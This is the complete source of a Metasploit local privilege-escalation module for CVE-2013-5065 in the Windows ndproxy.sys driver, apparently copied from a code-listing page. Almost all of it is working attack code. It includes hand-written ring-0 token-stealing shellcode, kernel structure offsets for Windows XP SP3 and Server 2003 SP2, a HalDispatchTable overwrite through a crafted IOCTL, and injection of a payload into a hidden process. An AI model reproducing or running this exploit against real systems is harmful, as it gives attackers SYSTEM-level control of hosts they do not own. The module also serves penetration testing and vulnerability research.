1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name'=> 'Microsoft Windows ndproxy.sys Local Privilege Escalation', 'Description'=> %q{ This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used to access an array unsafely, and the value is used to perform a call, leading to a NULL pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Unknown', # Vulnerability discovery 'ryujin', # python PoC 'Shahin Ramezany', # C PoC 'juan vazquez' # MSF module ], 'Arch'=> ARCH_X86, 'Platform'=> 'win', 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'SessionTypes'=> [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Automatic', { } ], [ 'Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct '_TOKEN' => "\xc8",# Offset to TOKEN from the _EPROCESS struct '_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct } ], [ 'Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, '_KPROCESS' => "\x38", '_TOKEN' => "\xd8", '_UPID' => "\x94", '_APLINKS' => "\x98" } ] ], 'References'=> [ [ 'CVE', '2013-5065' ], [ 'OSVDB' , '100368'], [ 'BID', '63971' ], [ 'EDB', '30014' ], [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'], [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ], [ 'URL', 'http://www.secniu.com/blog/?p=53' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ], [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ] ], 'DisclosureDate'=> 'Nov 27 2013', 'DefaultTarget' => 0 })) end def add_railgun_functions session.railgun.add_function( 'ntdll', 'NtAllocateVirtualMemory', 'DWORD', [ ["DWORD", "ProcessHandle", "in"], ["PBLOB", "BaseAddress", "inout"], ["PDWORD", "ZeroBits", "in"], ["PBLOB", "RegionSize", "inout"], ["DWORD", "AllocationType", "in"], ["DWORD", "Protect", "in"] ]) session.railgun.add_function( 'ntdll', 'NtDeviceIoControlFile', 'DWORD', [ [ "DWORD", "FileHandle", "in" ], [ "DWORD", "Event", "in" ], [ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcContext", "in" ], [ "PDWORD", "IoStatusBlock", "out" ], [ "DWORD", "IoControlCode", "in" ], [ "LPVOID", "InputBuffer", "in" ], [ "DWORD", "InputBufferLength", "in" ], [ "LPVOID", "OutputBuffer", "in" ], [ "DWORD", "OutPutBufferLength", "in" ] ]) session.railgun.add_function( 'ntdll', 'NtQueryIntervalProfile', 'DWORD', [ [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] ]) session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') session.railgun.add_function( 'psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"] ]) session.railgun.add_function( 'psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"] ]) end def open_device(dev) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0) handle = r['return'] if handle == invalid_handle_value return nil end return handle end def find_sys_base(drvname) results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0..results['return'] - 1] if drvname == nil if current_drvname.downcase.include?('krnl') return [address, current_drvname] end elsif drvname == results['lpBaseName'][0..results['return'] - 1] return [address, current_drvname] end end return nil end def ring0_shellcode(t) restore_ptrs ="\x31\xc0"# xor eax, eax restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L")# mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax tokenstealing ="\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + t['_KPROCESS']# mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"# mov ebx, dword ptr [eax+0C8h]# Retrieves TOKEN tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"# mov eax, dword ptr [eax+88h]<====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"# sub eax,88h| # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x75\xe8" # jne 0000101e ====================== tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx# Restores ebx tokenstealing << "\x5a" # pop edx# Restores edx tokenstealing << "\xc2\x10" # ret 10h# Away from the kernel! ring0_shellcode = restore_ptrs + tokenstealing return ring0_shellcode end def fill_memory(proc, address, length, content) result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") unless proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil end vprint_good("#{address} is now writable") result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end return address end def create_proc windir = expand_path("%windir%") cmd = "#{windir}\\System32\\notepad.exe" # run hidden begin proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) rescue Rex::Post::Meterpreter::RequestError # when running from the Adobe Reader sandbox: # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. return nil end return proc.pid end def disclose_addresses(t) addresses = {} vprint_status("Getting the Kernel module name...") kernel_info = find_sys_base(nil) if kernel_info.nil? vprint_error("Failed to disclose the Kernel module name") return nil end vprint_good("Kernel module found: #{kernel_info[1]}") vprint_status("Getting a Kernel handle...") kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) kernel32_handle = kernel32_handle['return'] if kernel32_handle == 0 vprint_error("Failed to get a Kernel handle") return nil end vprint_good("Kernel handle acquired") vprint_status("Disclosing the HalDispatchTable...") hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") hal_dispatch_table = hal_dispatch_table['return'] if hal_dispatch_table == 0 vprint_error("Failed to disclose the HalDispatchTable") return nil end hal_dispatch_table -= kernel32_handle hal_dispatch_table += kernel_info[0] addresses["halDispatchTable"] = hal_dispatch_table vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") vprint_status("Getting the hal.dll Base Address...") hal_info = find_sys_base("hal.dll") if hal_info.nil? vprint_error("Failed to disclose hal.dll Base Address") return nil end hal_base = hal_info[0] vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] addresses["HaliQuerySystemInfo"] = hali_query_system_information vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") return addresses end def check vprint_status("Adding the railgun stuff...") add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Detected end handle = open_device("\\\\.\\NDProxy") if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo["OS"] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears when /[2003|.net server].*service pack 2/i return Exploit::CheckCode::Appears when /windows xp/i return Exploit::CheckCode::Detected when /[2003|.net server]/i return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit vprint_status("Adding the railgun stuff...") add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil if target.name =~ /Automatic/ print_status("Detecting the target system...") os = sysinfo["OS"] if os =~ /windows xp.*service pack 3/i my_target = targets[1] print_status("Running against #{my_target.name}") elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) my_target = targets[2] print_status("Running against #{my_target.name}") elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) my_target = targets[2] print_status("Running against #{my_target.name}") end else my_target = target end if my_target.nil? fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\NDProxy") if handle.nil? fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") else print_good("\\\\.\\NDProxy found!") end print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") else print_good("Addresses successfully disclosed.") end print_status("Storing the kernel stager on memory...") this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end print_status("Storing the trampoline to the kernel stager on memory...") trampoline = "\x90" * 0x38 # nops trampoline << "\x68" # push opcode trampoline << [0x1000].pack("V") # address to push trampoline << "\xc3" # ret trampoline_addr = 0x1 result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing trampoline on memory") else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end print_status("Storing the IO Control buffer on memory...") buffer = "\x00" * 1024 buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call buffer[28, 4] = [0x34].pack("V")# In order to trigger the vulnerable call buffer_addr = 0x0d0d0000 result = fill_memory(this_proc, buffer_addr, buffer.length, buffer) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory") else print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}") end print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") magic_ioctl = 0x8fff23c8 # Values taken from the exploit in the wild, see references ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") end p = payload.encoded print_good("Exploitation successful! Creating a new process and launching payload...") new_pid = create_proc if new_pid.nil? print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") return end print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") if execute_shellcode(p, nil, new_pid) print_good("Enjoy") else fail_with(Failure::Unknown, "Error while executing the payload") end end end |